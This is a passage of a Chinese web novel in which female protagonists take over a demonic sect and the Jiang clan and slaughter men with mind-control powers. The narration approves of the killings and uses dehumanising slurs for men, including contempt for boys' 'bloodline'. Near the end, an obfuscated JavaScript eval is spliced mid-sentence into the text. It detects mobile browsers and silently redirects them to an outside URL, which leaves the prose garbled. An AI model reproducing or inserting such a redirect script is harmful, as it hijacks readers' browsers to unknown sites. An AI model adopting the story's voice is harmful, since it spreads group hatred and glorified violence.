不过惜命的谨慎,不敢多看,这不,有个屠杀了母父跟未昏夫一家的亡命之徒,抱着未昏夫喜欢的歌男……呃,歌男的琵琶骨,随意拨动几下,匆匆念出她的台词“佳男难再得”,便低下头,放慢脚步,假装无意地缀在后面。 能来这里的没有一个是为正道所容的,她很喜欢把自己的故事讲给这些人听。 宁秩当然知道这些若有若无的隐晦视线,不过她不在乎,走到议事堂前,跟在她身后的人都惊了。 女人琵琶骨都不抱了,扔在身后,三步并作两步上前,急忙道:“如果没有允许的话,进去会变成一滩尸水的。” 宁秩哦了一声,女人还要再劝。 “谢谢。”宁秩头也不回,在女人开口之前及时说道。 看她这样子明显是还要进去。 “不是,”女人说,“你别误会,我是怕你死了,不能听到我讲的故事了。” 女人身边的两个守门人向着她狂使眼色,眼皮子都僵了,但她就是好像没看到一样,仍然对着宁秩说:“所以在我讲完故事后,你再进去吧。” 守门人彻底绝望了,这人想作死是拦都拦不住啊。 她知道她面前的是魂种印记都能无效掉的鬼面人吗? 花长老制定规则,在魔门不得伤害魔门之人,违背此项规则的死。 不需要执法堂动手,体内的魂种印记就会赏赐一个随机死法。 那么魂种印记从何而来呢?只要在魔门,魂种印记就会形成。 所以就算是执法堂要处置徒子,也是要出了魔门再搞的。 宁秩最喜欢听故事了,一听有故事,就停下脚步,从储物袋里掏出一个小马扎,迅速坐下,说:“请讲吧。” 女人开心地笑了,她又把扔掉的琵琶骨捡了回来。 “我叫月升,本来是陈家人,现在不是了,因为陈家都被我杀光了。” 月升很平静地说出这一段话。 “我知道,你想问我为什么要杀掉我的亲人,我也知道做事是需要一个理由的。” 月升有些埋怨地说。 “谁叫牠们给我选未昏夫的,还是个喜欢搅屎的。” 月升轻轻、缓慢地笑了起来。 “所以我就把牠们一个一个地杀了。” 月升陷入了回忆。 “牠们每个都说李家少爷优秀,取我进门是我之福,我就很生气啊,牠们竟然看不到我的厉害。” “不过开心的是,在我把牠们的琵琶骨抽出来的时候,这些人终于承认我厉害了。” “牠们都说我弹琵琶好听,所以我就想要个好看点的琵琶骨。” “陈家,李家,上上下下几百人,牠们的琵琶骨竟然都没有一个歌男的好看。” 宁秩坐在小马扎上,弓着身体,双肘撑在膝盖上,听她讲完后,直起腰,一脸认真地鼓掌。 “这个故事真不错。” 然后她就起身,站起,收回小马扎,进了议事堂。 两个守门人没进,她们发现自己能够自由活动身体了,皆是第一时间对着月升异口同声道:“你这个故事到底有多少个版本?!” 月升一脸郁闷:“我想说的不是这个版本的。”怎么就把真正的故事说出来了。 不管版本发生了多少次变化,每次她在故事里无一例外都是被逼黑化然后大开杀戒的小可怜。 听到这些故事的人态度如何不说,大多都是信了,而月升享受的正是欺骗她人后又揭穿自己的快感。 她喜欢跌宕起伏的剧情和观众知道自己被愚弄时的表情。 “不管怎么样,”守门人紧盯着议事堂金碧辉煌的大门,“不止是魔门,要变天了。” “这简直是作弊,”月升并不关心守门人所说的事,“我是要把真正的故事告诉给能够看出我是在说谎的人的。” 宁秩坐在白玉长桌上,拿起正中间的金铃铛,摇了几晃。 说来讽刺,多亏了原著非要描写卫辰风在议事堂力排众议,审判不希望牠为了一己私欲而令魔门一统金陵的大业陷入停滞的花柳色,宁秩才能不需要再多做什么就知道此物的妙用。 这回金铃铛响起,与原定剧情截然不同。 几个长老匆匆赶来,见宁秩坐在桌上,拎着金铃铛玩,脸色纷纷变了。 她们还没来得及做什么呢,就感觉身体动弹不得,脑袋针扎了一样疼痛难忍。 宁秩一个手起金铃铛落,在场的所有男长老都倒下,化为一滩尸水,洇润在剩下的女长老脚边。 “从现在开始,魔门归我管了。” 把花柳色的老巢端了,不信她不来找自己。 宁秩宣布完这件事后,就拿着金铃铛,大摇大摆地从虚空之门离开了。 只要拥有了这唯一的金铃铛,虚空之境尽在掌控之中。 所以在虚空之境时,宁秩可以在任意的地方打开虚空之门,而出了虚空之境,她也可以移动这一片虚空之地到别的地方去。 宁秩是自魔门成立以来,第一个将金铃铛带出议事堂的人。 她走后,魔门掀起了轩然大波。 宁秩来到江家门口时,已经是深夜时分了。 月沉西树,一只黑猫在微弱地叫唤,她敲响了江家大门。 没人应,宁秩无奈,说了一句“扰民了”,再一次抄起唢呐欢快地吹了起来。 这一次唢呐唤来了江家男家主江立汜。 “我觉得男人不适合当家主,”宁秩见到牠的第一面就说,“这个家主应该我来当。” 2. 第 2 章 江立汜怒从心头起,也顾不得身体被控制的诡异情形,张嘴就要呵斥她痴心妄想。 宁秩微笑,看着眼前半天也说不出一个字的中年男人,“我不是在跟你商量,现在你把家族之人都找来,我们一起宣布一下这件事。” 江立汜立即想要拒绝,但开口说的却是:“喳,小的遵命。” 牠脸色铁青,从被控制着来开门,牠尝试挣脱这莫名其妙来的束缚,每一次都不成功也就算了,现在又这样被控制着说出了喳。 牠心中大怒的同时升起一阵不可抑制的恐慌。 如果没有认错的话,眼前之人应该是前不久突然出现,教训了谢雪瑶师徒,又轻而易举走出谢家无数顶尖高手的围剿,以控人闻名的鬼面人。 牠之前派人去调查过,但对自己能力的自傲占了上风,也不觉得鬼面人会对江家做什么,所以就没有像谢家一样如临大敌,反倒是动了招揽她的心。 但没想到,此人所求不小,竟然贪心到想得到整个江家。 现在说什么都迟了,江立汜已然明白,牠不是她的对手。 牠小小的识海里有一张巨大的网,而牠本人就像一只小虫一样被蛛丝缠困在中心不得动弹。 怎么可能有人能把控制之术学到如此登峰造极? 牠可是天阶中品的高手啊! 你、究、竟、是、谁? 宁秩注意到牠骇然的眼神,微微一笑,领着牠从江家大门进去了。 一些被她唢呐声惊动过来查看的人见了鬼一样。 家主为何要像一个仆从一样毕恭毕敬地将门外戴着面具的人迎进来。 难道是被控制了?那鬼面人的修为是要有多高深啊? 她们下巴都要惊掉了。 接下来发生的事不止是让她们惊得下巴都要掉了。 因为有些男人脑袋会掉。 让江立汜将江家所有长老召集过来后,宁秩坐在家主椅上,懒散宣布:“以后我就是你们的家主了。” 长老们望着站在她身边咬牙切齿、面容扭曲的江立汜,难掩震惊。 一个冲动易怒的男子提着剑质问:“家主,她说的都是真的吗?” 宁秩抬眸淡淡扫过江立汜,牠不受控地脱口而出:“男身本贱,男子担不得大任,以后江家的一切事宜都由女子掌管安排。” 男子怒道:“胡言乱语!是你,是你对吧,就是你用了卑鄙的手段操控了家主!” 此话一出,不少男人都纷纷作出攻击姿态。 但宁秩只是拿出扇子,轻摇了一下。 一片肃静,站在男子身旁的女人不露痕迹地往后退了几步。 “你们还有谁是不认同的一起站出来。”宁秩淡淡道。 除了这些破防的男人,能坐到长老位置的都不是蠢人,她们有女有男,对于鬼面人的威名都有所耳闻,又见江立汜如此,自然是投鼠忌器,不敢轻举妄动。 之前站出来的男人左看右望,见没人像牠们一样了,气得胸口闷痛。 对着宁秩:“少废话,我看你死在我剑下的时候……” 牠还没说话,就连带着所有站出来的男人原地爆炸了,血肉喷溅了一地,宁秩半边面具上也沾染了一些。 她站起,目光诡谲地看着地上的碎块说:“真是,现在安静了吧。” 剩下的人也都惊了,对她的性情与能力有了进一步认识,一些多余的心思也都被自己死死地按捺下去。 只有江立汜紧咬着后槽牙恨极了的样子。 宁秩笑了:“现在我是你们的家主了吧。” 月光穿过稀疏树枝,落在她身上,一片死了一般的寂静。 “既然我是家主了,接下来你们要遵守的家规就由我来定。” “第一,我既然是女子,自然应当以女为尊,”宁秩扫过在场的男人,漫不经心地想,果然是金针菇爱抱团,有花柳色在的魔门,长老之中的男人就没有那么多,“男子不应当沾染权力,从此刻起,你们一起住在后院学习男德男戒。” 此话一出,又有几个男长老站出来,牠们强忍着怒气,低声下气地提出异议。 谁料宁秩理都没理,直接就让牠们炸成血雾了。 仅剩的一个男长老眼底满是惧怕,牠颤巍巍地摇晃了一下身体,竟然直接下跪了。 一个女长老红着眼举起了剑,宁秩看着她,下一秒剑竟然刺入了那个跪下的男人身上,女人崩溃地松开剑,声音尖锐地啊啊大叫。 江立汜目眦尽裂,牠绝望地想难道江家的祖宗基业就要被一个外人,更何况还是一个女人夺走吗? 牠回想起二十几年前压在牠头上的江少华,想起与牠同床共枕却想要谋夺牠家产的季锦和,大悲之下哇哇地吐出好几口血来。 宁秩看着牠这个样子,颇为遗憾地合上扇子,很是欠揍地说:“贱男立死,我还没做什么呢,你就那么生气了啊,我担心你以后怎么受得了。” 这回她用了江蔚然原本的声音,江立汜倏忽睁大双眼,在不可置信之中又吐出了好几口血。 宁秩摘下面具,手指一动,取出月愈草,翠绿色的眸子闪烁着晶亮的好奇:“你说一个铁石心肠、连女儿都要防备提防的男人,如果被植入了治疗圣药,会不会变成能够为所有人提供恢复能力的大好人呢?” 江蔚然小时候穿红衣,学剑,学得很好。 季锦和看见了笑靥如花地夸赞,然而江立汜却是暗暗心惊,牠只觉得恐惧,牠想起了那个将剑刺入牠身后的妹妹江少华,想起牠再怎么追也追不上她的无能为力,想起父亲对母亲的所说的话——如果少华是男孩就好了,这样我们江家就不愁只能位居金陵四大家族的末尾了。 “你这个废物,江家早晚有一天会败在你手上!”江少华即使是失败了,也还是抬起下巴,不屑又嘲讽地斜眼看牠。 江立汜知道自己能够继承家业仅仅是因为牠是男人,而永远比牠还要优秀的妹妹是女人,所以牠恐惧极了。 “这就骄傲了?连御剑飞行这么简单的东西都不会。”所以牠经常打压否定江蔚然,牠让江蔚然提前学以她的能力还学不了的剑术,牠引导江蔚然偏向医术,只要她越表现得温柔、无害、善于牺牲、对权力无欲无求,散发着很好吃的虜隶味道,牠就越会夸奖,以及肯定她的价值。 江蔚然成为了大家的血包。 她心善,江家不管是谁,只要被她看到了难过受伤,她都会消耗自己的真气为她们诊治。 然而当她被诬陷、被操控着杀人的时候,因为江立汜的态度,没有一个站出来为她说话。 甚至还有人表露出一脸错信人的晦气。 白月光这个名头也不过如此,远没有一个执掌了她们利益的男人有效。 月愈草一落到江立汜身上,就疯了一样地往牠皮肤、血肉里钻。 亮白色幽幽散发着光芒的叶子迅猛地生长,江立汜再也支撑不住,摇晃着倒了下来。 宁秩含笑着看着牠发出痛苦破碎的呻吟,从储物袋里提出一盏灯,照亮牠的面孔。 “你、你不是江家人……呃……”即使眼睛几乎只剩下眼白,月愈草从牠的耳鼻口中生长,牠也要坚持把这句话说完,以此来否定她的正统性。 宁秩笑了:“你又错了。” 她云淡风轻地说,“我的确姓江,不过不是你江立汜的江,而是那个你永远都比不上的妹妹江少华的江。” 江立汜神情凝滞。 “早在季锦和生下谢雪瑶的时候,我的母亲就把我们交换了。”宁秩生怕牠听不真切,还特意蹲下来告诉牠。 江立汜发出啊啊的声音:“不可能,不可能……” “有什么不可能的,”宁秩冷笑,“卫辰风说我不是你的女儿,又暗中用好处收买你,你就信了。” 她站起,居高临下地看着牠:“你以为你不能为女人配个一女半男是因为后来季锦和阉掉了你吗?” “我告诉你,不是,”宁秩真心实意地笑了,“那是因为从你很小的时候,我的母亲江少华就给你下了药。” 江立汜痛苦得涕泗横流、满地打滚。 宁秩提灯看了一会便觉无趣。 安安静静站在一旁的长老中走出了一个身高八尺、眉眼间具是英气的女人。 江开河先是行了个礼,祝贺她大仇得报,后又恭敬道:“在下江开河,偶然发现江立汜这贱男偷进过一个密室,于是便猜测这或许与家主您的母亲有些许关联,不知家主您是否有兴趣一看,开河愿意为您领路。” 那个被操控着误杀了下跪男长老的女人从恍然中醒来,怒气冲冲指责道:“江开河你这个没有骨气的软骨头!江家还没有倒下呢!你就向着……!呃!” 话还未说完,她就被一剑刺中了胸膛,剑的另一头正是江开河。 “我不准你对家主无礼。” 江开河说完又观察了一下宁秩的神色,便知自己在没有她的指示下杀了这个大喊大叫的长老也没事。 宁秩高看了她一眼,道:“识时务者为英杰,你做得很不错,以后江家就交给你管了。” 好大的口气,说得好像江家只是她口袋之中最不值一提的一个小玩意一样。 但江开河莫名就有那个直觉,宁秩表现得就像是她表现得一样。 也是因为如此,江开河才当机立断奉她为家主。 宁秩拿出一个小铁笼,对江开河说:“找个人把贱男立死关在这个铁笼之中,然后带我去你说的那个密室。” 贱、男、立、死……江开河在心中默念,完全没有意见。 夜色无边,黑猫坐在房檐上看着。 宁秩提着灯,身旁跟着一个女人,她们从黑暗中走向别的地方。 在这个极其普通又平静的夜晚,有什么在尖叫,又有什么在悄无声息地暗涌着。 宁秩走进密室,让江开河守在外面。 通过层层机关后,她在一副冰棺之中找到了一把龙骨剑。 宁秩取出来,注入真气之后,龙骨剑之上便出现了一个红衣女子。 “哈哈我果然没看错,你真的当上了江家的家主,江立汜这个贱男跟我争了这么多年,没想到最后还是我赢了哈哈哈哈哈。” “江蔚然,我要告诉你,太久了,太久了,这个秘密憋得太久了,你是我的女儿,是我江少华的女儿。” “想想季锦和这个背叛了我的贱人在帮我养孩子我就要笑疯了。” “活该,活该!” 宁秩面无表情。 当初一来到这个世界,卫辰风审判江蔚然偷了别人的身份便是因为江少华将她与谢雪瑶换了一个身份。 不过宁秩并不在乎,也不觉得江蔚然是小偷,别说江蔚然并不知情,就说这些男人有什么资格一起审判她。 在整本书中,最爱偷的到底是谁啊? 谢雪瑶你有什么资格成为谢环遥的弟弟,跟她抢谢家? 卫辰风你有什么资格罔顾母亲的遗嘱把魔门从花柳色手中抢走? 江立汜你有什么资格凭借身下那根注定要被骟掉的污秽之物把江少华赶出家门? 还有沈如故,你的父亲入赘,你作为牠的私生男,有什么资格继承谢家的财产,你凭什么不甘,凭什么要去骗谢菁华? 真是笑话,一群小偷去审判一个被架在良善烤火架的女人偷了另外一个偷得满嘴油腥的男人的东西。 最应该被审判的是牠们!是这群贪得无厌的男人! “以前的事我就不多说了,你要是想知道,可以拿着这个龙骨剑去深空之渊,那里有娘亲……”说到这,她轻声重复了一遍娘亲,“娘亲给你准备的礼物。” 然后幻影消失,龙骨剑化成小小的一柄落在她手心。 深空之渊,虚空兽来的地方。 原文之中,卫辰风利用谢雪瑶掌控江家之后,便拿去龙骨剑,到那里闯了闯。 也没有详细描述,只说牠差点回不来,谢雪瑶因此很担心牠。 宁秩满怀恶意地想,能不担心嘛,毕竟那时的牠已经被卫辰风折断手脚,成为一个只能依靠牠的菟丝子。 “深空之渊啊……”宁秩又把注意力转移到龙骨剑上。 ——神神秘秘的,她真的很好奇,很想去看看。 哎,没办法,她好奇的东西实在是太多了。 “江少华,龙骨剑我拿走了,但是要不要认你做江蔚然的母亲,还是等她回来,再由她自己做决定。” 其实如果按照血缘来判定的话,江蔚然并不是江少华的孩子,她只是一个被母父遗弃在河边的女孩,但江少华好像真的把她当成女儿了一样…… 在江蔚然七岁的时候,有一个剑道大姥亲自来她家,要收她为徒,是江少华在生前安排的。 可惜被江立汜这个贱男阻止了,不然她跟着剑道大姥,走的应当是另外一副光景吧。 不知道江蔚然对江少华会有怎样的感觉,她们遇见她的时候,在她的世界里,她就是被所有人都背叛了。 三花:“我告诉了她真相,她沉默了很久,说她自己是另外一个江少华。” 一个还未成长为江少华就被打压下来的江少华。 宁秩提着之前那盏灯,从密室走出去,在长长的黑暗之中,她对三花说:“曾经有个小女孩对我说,她要写本小说。” “故事是这样的。” “她提着灯,是为了去杀她的王兄。” “因为她想当王。” 三花喵想到了什么,问她:“您提着灯,是要去当王吗?” 宁秩低低笑了一声,说:“不是,因为我觉得我本身就是王。” “我只是,”她走出密室,望向静谧无声的夜空,“不忍心让想要当王的人成为一个不得不低下头的虜。” 三花喵安静了一会,又说:“第一次见到你的时候,我还以为你会是一个无心无情的人。” “不说您了?”宁秩笑。 “我想这么久了,我们应该是朋友了,您要是想听,那我就像之前那么说吧。” 说完后,三花喵又有些忐忑。 其实这句话它早就想说了,只是之前一直有些不好意思,又拖着拖着,就拖到了现在。 现在啊,三花喵想,这么好的风,这么好的夜晚,这么明亮的月亮,气氛烘托到这种地步,它说了以后就可以不必介怀了。 “还是你吧。”宁秩说,“你也说了,我们是朋友。” “谢谢。”三花喵顿了顿,说。 “也谢谢你,三花。” 宁秩说完就随手杀死了几个埋伏在旁边的男人。 她又往前走了一段路,发现树木倾倒,瓦片四落,心下便已了然。 于是沿着打斗痕迹寻去了。 “……宁秩”三花喵犹豫着,“其实……” “嗯?” 三花喵顿了顿,最终它轻声地笑了笑:“你的名字真好听,我会永远记在核心程序中的。” “哦,”宁秩狐疑,“你好奇怪,真的只是想说这个吗?” 三花喵:“没什么,只是你名字这么好听,你看能不能别把天道系统的事全都扔给我一个弱小无助又可怜的喵啊。” “不能,”宁秩果断拒绝,她还有好多事要做呢,“可耻的人工智能,你皮肤是猫,你可不是猫。” “家主,”江开河在不远处唤她,她的身边已经堆了不少男人的尸体,“还有一些意欲刺杀你的男人逃了。” “那母亲给我的龙骨剑就有了用处了。”宁秩反手就刺死了从后面攻击她的男杀手。 金陵江家在这一天,迎来了一场大清洗。 日月倒转,海河逆流,回到宁秩摇响魔门金铃铛的前几天。 天朗气清,佳木繁荫。 时岳想着彩霞的生物爹杀人应该偿命,于是在成为黑曜山野人的第二个夜晚,偷溜到村里,准备刀了牠。 别问她为什么不用法术。 没办法,抽灵玉只是让她有了修为,但不教会她用啊。 其实时岳那么迫不及待地要去杀牠,也是有这个原因在里面的。 “也就是说,只要我积攒了拯救值,哪怕是一个,都可以开启系统商城。” 时岳问了些与任务奖励相关的信息,系统没有藏着,大大方方告诉了她。 时岳也接受了这个系统是辅助定位、不会主动的事实了。 所以没有和它进行除去任务之外过多的交流了。 现在的情况是,时岳为了杀死恶毒男人得到拯救值,选择推迟离开降落地的时间。 谁叫这里荒蛮偏僻,这里的男人也好杀呢。 更何况,时岳冷冷地垂下眼眸,想起在彩霞的记忆之中,不久之前,有一个因为逃跑而被全村人举着火把抓起来的女人。 那时小小的彩霞从睡梦之中被惊醒了,她透过漏风的窗户瞥见白日里和善淳朴的村民们押着女人回去。 月亮照着窗前小路,像是落了一层薄薄的骨灰,偏远而庞大的村庄向着这个懵懂无知的女孩露出了黑暗的一角。 彩霞认识这个女人,是一个光棍买来的虜妻。 在不安之中睡着后,第二日醒来,母亲阴阳怪气女人不知好歹,父亲也沉默着附和,弟弟听了更是有样学样,像雄鸭子一样得意洋洋地骂着她。 自那以后,彩霞再也不能相信这里面的任何一个人。 再然后就是,她变得非常暴躁,想要破坏点什么,以及时常感到饥饿,控制不住地想要吃东西。 时岳也是为了获得更多有关这个村庄的详细信息,整理彩霞的记忆才发现这么多可怕恐怖的隐情的。 不管有没有奖励,时岳都不会让依靠买卖吸食女人的血肉延续下去的村庄继续存在下去的。 这是一个女人最基本的正义感。 目前,时岳虽说是空有修为,但这修为也不是别无用处,她感觉自己身体里拥有无穷无尽的力量,杀死一千个贱男和护在牠们身前的伥鬼都不成问题。 但即使这样,时岳还是很谨慎的。 时岳决定先把彩霞的生物爹杀了,再开启系统商城,看看有没有值得购买的东西,然后潜伏一阵子,观察哪些女人本性未泯还没变成加害者。 如果都没有,那她就一把火下去,或者是用其它手段,将这个邪恶的村庄给毁灭了。 夜深人静的时候,时岳凭借彩霞的记忆,轻车熟路地溜到了她的杀人犯生物爹家。 拴在门口的大黄狗听出是她的脚步声没有叫,反而站起摇着尾巴很是高兴的样子,时岳摸了摸它的脑壳,随后猫着身体,找到彩霞母父的房间钻了进去。 时岳的动作很轻,她感觉就算是落下一根针她也能听清。 夜晚,寂寥的月亮攀在窗前,透进来一些微弱惨白的光芒。 时岳半张脸隐在这光亮之中,另外半张却藏在可怖的黑暗里面。 “哎呦,疼,好疼……”男人突然翻身,抽泣着。 时岳见状赶紧蹲下来,把自己藏在床前。 女人被吵醒语气很不好:“这郎中看过也没问题啊,你就别疑神疑鬼了。” “不,一定是那个丫头来报仇了,当初我踹她胸口,就感觉自己胸口疼。” 时岳皱眉,回忆了一下彩霞当时的情况……在彩霞的记忆之中,当时的她好像没有疼痛的感受。 怎么回事?时岳悚然一惊。 “谁?”女人发出微颤的一声。 时岳当机立断,将头发放下,置于面前,然后站起,幽幽地说:“娘亲,爹爹,你们那么快就忘了我吗?” 在她们惊恐愣神之际,猴一样蹿上去,给她们一人一个拳击脑门。 【黑曜村两个不知名人士死亡,由于对方太弱,修为并没有得到提升。】 【扫凶除恶,宿主成功为世上除掉两个祸害,拯救值加一。】 时岳愣了,这么容易就死了吗? 她还想问问牠胸口疼的问题呢。 现在也不是想这个的时候,时岳收拾好心情,像来的时候一样悄然无声地逃了出去。 逃到山脚的时候,一个女人与她狭路相逢。 时岳得知女人名叫祝缨,是一个猎户的女儿。 “那些男人疯了,”祝缨说,“牠们不仅把买来的女人关在祠堂,就连村里原本的女人也不放过。” 时岳:“牠们想干什么?” 祝缨说:“你……不知道?” 还未等祝缨回答,她就恍然道:“也是,我忘记了你还是一个小孩。” 时岳默默然,没有反驳。 “早在不久前,有一个神婆路过说,村子里的男人,再也无法使得女子有孕了!” “所以,牠们……?” “所以,牠们认为是村子里的女人冲撞了神,想要用她们给上天赔罪。” 祝缨冷笑,“我娘也被选中了。” 时岳愤怒极了:“这群渣滓!我要骟了这群贱畜!” 祝缨:“可是又有什么办法呢?早晚有一天我会回来一个一个地把这群贱畜都给杀死的。” 时岳:“不用等以后,现在就可以。” 祝缨上下打量她:“你还是新鬼吧。” 时岳愣神:“这个世界上只有人心有鬼。” 更何况,在她们那,很久以前,鬼是女人,是神。 时岳也不准备多说,“你不用担心我,再跟我说一说祠堂的情况。” 最终,祝缨犹豫再三,还是决定等两天再走,反正等两天也不亏。 她们一起到时岳呆的山洞中去。 谢羡君的尸体早就被时岳扔了出去,之后不久就不知所踪了,时岳猜测是谢环遥找人来确认过。 时岳坐下来,查看系统商城。 她翻看得眼花缭乱,好多可兑换的东西,她名字都不晓得。 而且……大多商品都需要成千上万的拯救值,时岳感觉到了自己的贫穷。 她找到了一个只需要一拯救值的功法,兑换完成后,大段大段文字涌入她的脑海。 稍后时岳再看,那个一拯救值的功法已经没了。 时岳继续翻看,突然,她神色一凝。 可在两个世界穿梭的门票。 祝缨:“你怎么了?” 时岳掩饰道:“我没事。” “对了,我有一个功法你要不要学?”她又问。 祝缨惊讶:“你……” “是给人学的。”时岳幽怨道。 “我不是这个意思,只是功法那么珍贵的东西,让我有点不可置信。”祝缨解释。 次日夜晚,时岳要去打探一下情况。 “我一个人就行了。” 祝缨英气的眉头微微皱起,又想到什么,妥协道:“那好吧,你要注意安全。” 时岳偷溜到村里祠堂门之外,左看看右瞄瞄。 大门禁闭着,什么也看不清。 这时,她突然听到什么声音,再看,原来是几只大黑狗在冲她狂吠。 祝缨没有提到这件事啊。 时岳不知道的是,就在祝缨逃走,而彩霞生物娘父死后,村里男人就加强了戒备。 没办法,时岳赤手空拳,把几条狗脖子扭断弄死了。 然后祠堂内又出来了几个男人,时岳如法炮制弄死。 再然后,泥巴路上又陆陆续续赶来了几个举着火把的男村民,时岳继续弄死。 不知道杀了多少男人,到后面根本就是流水线作业了,时岳感觉自己的眼睛都杀红了。 此刻她真的很感恩前世拳王阿姨的训练,不然她有了这修为也发挥不到那么极致。 等到实在放心不过的祝缨回到村子来到祠堂时,看到的就是这一幕,一个几岁的女孩旁边七七八八横着不少男村民的尸体,还有几个体格健硕的女人插在其中。 祝缨惊了,她问:“这就是你说的暗中打探消息?” 时岳一本正经:“没人知道可不就是暗中,接下来我们可以打探消息了。” 祝缨也不多言,快步走向祠堂大门,推开后委屈大喊:“娘亲。” 时岳也跟上来,被几个女人惊声大叫“鬼啊”的声音吵到。 看她们这个样子,时岳有点烦,眉头一皱,严声喝道:“别吵了,再吵杀了你们。” 这里面可不止有无辜的受害者,还有可恶的加害者,以及沉默着助纣为虐的帮凶。 时岳知道这些人最喜欢看碟下菜了,所以一开始就不打算给她们好脸色。 果然,她这一吼,所有人都冷静下来了。 “问你们几个问题。” 她们所说的跟祝缨告诉她的八九不离十。 “那最近发生了什么诡异的事情吗?” 女人们的脸上浮现一抹惊恐,七嘴八舌地说着。 “前段日子,我们到夜晚,总是会听见诡异的铃铛声。” 时岳沉思,那边跟祝缨交流完感情的猎户祝大娘呵笑一声:“这都是报应,她回来了。” “谁回来了?”时岳立刻问道。 祝大娘用深邃的目光看了她一会。 时岳想了想:“我们找个安静的地方说说话?” 祝缨看着母亲和时岳就这么准备离开,都懵了。 “娘?” 祝大娘摆摆手:“我们谈点事,你别跟上来。” 她们一走,祠堂的女人就围了上来,跟在祝缨身边问东问西。 祝缨都好脾气地一一解答,然而就在一个大娘听说外面都是男村民尸体的时候,爆发了。 她大声指责:“祝缨,你们也太狠心了点吧,大家都是一个村的,知根知底,牠们也只是被人骗了而已,你们这样残忍让我们村的孩子怎么办?” 顿时,祠堂里的女人分成了三派。 一派是正常人,感激时岳她们,觉得是她们救了自己的性命。 另外一派就是前面那个大娘的意思,觉得她们太过分,没有给男人改过自新的机会,让村里的孩子小小年纪就失去了父亲。 还有一派就比较清奇了,自认为自己最中立,隐隐不赞同她们动用私刑,“牠们虽然错了,但我们也不能这样,不然跟男人有什么区别,我们应该移交给官府,让男官员按照律令处置。”似乎是意识到不妥,话音一转,又给自己找补,“当然,你们救了我,我还是很感激你们的。” 祝缨冷了脸,她就奇了怪了,她们对彩霞跟自己的态度怎么完全不一样,难道就是因为彩霞是鬼她是人,看着好欺负? 之前祝缨想团结大家一起反抗的时候,有些女人哭丧着,说自己命苦,就硬是不肯反抗。 你说她们几句吧,她们就骂,“有本事就去把害我们的男人都杀了啊,在这里对着无能为力的受害者指指点点算什么?”然后几个女人又抱在一起,继续哭丧,我们女人的命怎么那么苦啊,苦啊。 祝缨没找到一起反抗的同伴,反倒是惹了一身骚,那时就对她们喜欢不上来了,现在听着她们吵吵嚷嚷的声音,太阳穴突突的。 祝缨冷了脸:“真心建议你们看看祠堂外那些男村民的惨状,再考虑考虑该用怎样的语气跟我说话。” 祝缨边说,边往外走,而后面两派女人跟着走出去后,看到在她们面前拥有绝对力量的男人就这么凄惨地成为了僵硬的尸体,霎时住嘴了。 祝缨问:“现在你们想对我说什么?” 紧接着都是夸赞感激之类的话了。 祝缨想起时岳进来时对她们说话的语气,悟到了什么。 与此同时,另一边,祝大娘叹息一声:“我知道你不是彩霞。” 随后又说,“要我帮你找她也可以,不过你要把祝缨带到路上。她天分不错,只是苦于没有资源。你可以随便使唤她,不必不好意思。” 时岳想到自己拯救人类大业也需要人,便点点头:“可以,不过我可先说好了,最后还是要问过她的意思。” 祝大娘眼神一厉:“她敢不同意。” 时岳为祝缨点蜡。 祝大娘领着时岳来到一片竹林。 “以前在这里,我为她指过逃跑的路。” 祝大娘说,“可惜最后她还是被那些丧心病狂的男村民发现抓了回来。” “你有彩霞的记忆吗?你应该记得有一天村里人都人心惶惶的。” 祝大娘讽刺一笑,“那是因为后来她假装顺从,用砍菜刀杀死了那个买她的男人。” 时岳想起彩霞记忆之中的那个夜晚,语气恍然:“就是她吗?” “对,她的尸身被牠们愤怒地扔进了深山老林,我后来捡回来埋在了这片竹林。” 时岳望了望这片黢黑的竹林,眼底发热。 “她告诉过我,她叫程远章,她的母亲是一个绣娘,父亲是赌鬼,把她卖了。” “她家还养了一只狸花猫,狸花猫不爱搭理她,总是蹲在一旁,但要是她佯装不理的话,狸花猫就会走向前,讨好地喵喵叫。” 时岳鼻子很酸,眼泪啪嗒啪嗒地落下来。 “程远章,我叫时岳,时是时间的时,岳是巍峨高山的那个岳,我帮你杀了那些男村民,我想见见你,可以吗?” 叮铃铃,一阵清脆的铃声响起,一个全身青黑色的人从竹林中飞荡而来。 “我想惩罚的人我自己就会动手,你想从我这知道什么,看在祝大娘的份上,我会考虑一下说真话。” 时岳想到,就算她不来,程远章也不会让祝大娘受伤。 她抽了抽鼻子,微笑着说:“你想不想去看你的猫。” 程远章闻言恍然,眼睛里透过一丝光彩,但很快又被她压了下去,她冷冰冰地说:“你在嘲笑我吗?活死人可不能在白天出现。” “不,”时岳立刻道,“你可以的。” 她语气很是坚决,“我会帮你。” 时岳用刚刚得到的一千拯救值,为程远章换了一个专为活死人提升修为的草药。 程远章见她递来草药,神色微变:“你竟然……” “举手之劳。”虽然肉疼,但时岳还是觉得很值。 程远章眼神复杂:“谢谢。” 想了想,程远章将挂在她腰间的金铃铛取下来。 “拿着吧,我不会亏欠任何人。” 时岳想这个金铃铛应当很珍贵。 将金铃铛交给她后,程远章就准备离开了。 “等等。”时岳叫她。 程远章头也不回,“如果有缘的话,你就会知道了。” 知道什么?金铃铛吗?她不是想问这个啊。 祝大娘看了她一眼,说:“你是想问她知不知道彩霞的爹为何会胸疼吧。” “你知道?”时岳眼神一亮。 “我还以为是你干的呢。”祝大娘说。 时岳失落,这条线索要断了吗? 她们要出竹林的时候,一个人影又飞了过来。 时岳吓了一跳。 程远章神色冷静。 “好心提醒一句,不要放过漏网之鱼。” “以及,除了共犯,就算是受了你恩惠的人也有可能背叛你。” 说完又飞荡着离开了。 当晚,时岳清理完漏网之鱼后,胁迫着村里的女人们一起将男村民分尸掩埋。 只是村里的一些小男孩让时岳犯了难。 祝大娘冲她点点头:“你放心吧,我会好好教育牠们的。” 时岳攥紧拳头,又松开:“好。” 但其实她根本就不信,这些男孩流着男村民的劣质血脉,更何况牠们本就是因为侵占了女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802859|158440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的血肉才能出生的孽种。 